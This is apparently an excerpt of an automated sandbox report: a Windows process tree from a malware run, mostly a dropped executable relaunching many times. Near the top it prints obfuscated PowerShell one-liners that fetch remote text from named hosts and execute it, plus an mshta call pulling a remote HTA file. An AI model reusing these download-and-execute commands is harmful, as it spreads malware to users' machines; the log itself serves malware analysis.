        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601409XXXusXXXarchiveXXXorg/7/items/fixmix_fix_4348843584358435/fixmix_fix_4348843584358435XXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
        5⤵
        
        PID:6116
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:24524
- - C:\Users\Admin\AppData\Local\Temp\rAEMSmFS.com
    "C:\Users\Admin\AppData\Local\Temp\rAEMSmFS.com"
    3⤵
    PID:6540
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://kmsauto.us/1/FIX.hta
      4⤵
      PID:8088
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://kmsautoXXXus/1/fixXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
        5⤵
        
        PID:8428
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        6⤵
        
        PID:24924
- C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
  "C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2148
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:4748
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:4908
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:5088
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4428
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:216
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:5024
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:4596
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:5020
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:4348
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:4776
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Executes dropped EXE
    PID:5368
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5692
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6096
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5848
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5756
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4464
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6016
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6420
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6812
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7160
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6588
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7044
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:1476
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4124
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5808
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7504
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7788
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8176
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7548
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7968
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6380
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4496
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:4212
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8152
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8276
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8708
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9124
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8692
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9052
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8588
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9048
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5032
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6488
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:1308
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8860
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    - Drops file in Program Files directory
    PID:3900
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:504
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:3424
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8128
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:996
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8508
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9568
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10036
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8484
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9612
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8920
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10348
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10836
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11188
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11016
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9008
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11252
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11068
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10080
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8600
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10320
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:7308
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7308 -s 24
      4⤵
      Program crash
      PID:9904
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:2728
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:5224
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11092
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6052
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11276
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11496
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11740
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11908
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12240
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:8740
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11808
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9824
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:10608
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:6448
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:9768
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12556
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12912
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13284
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:3312
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12260
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13892
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13136
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13984
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14344
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15036
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14784
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11776
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15012
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13968
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14664
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16080
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15728
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15424
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:13952
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:3240
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15968
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14748
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15356
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16012
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:14424
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11540
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17148
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16648
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12796
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17332
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17084
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:12520
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17584
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17932
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18216
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17316
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:17476
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:15500
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16736
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16728
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:11620
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:16056
- - C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    C:\Users\Admin\Documents\uDb_R3p2ShAvIFcROwQCMO5F.exe
    3⤵
    PID:18468
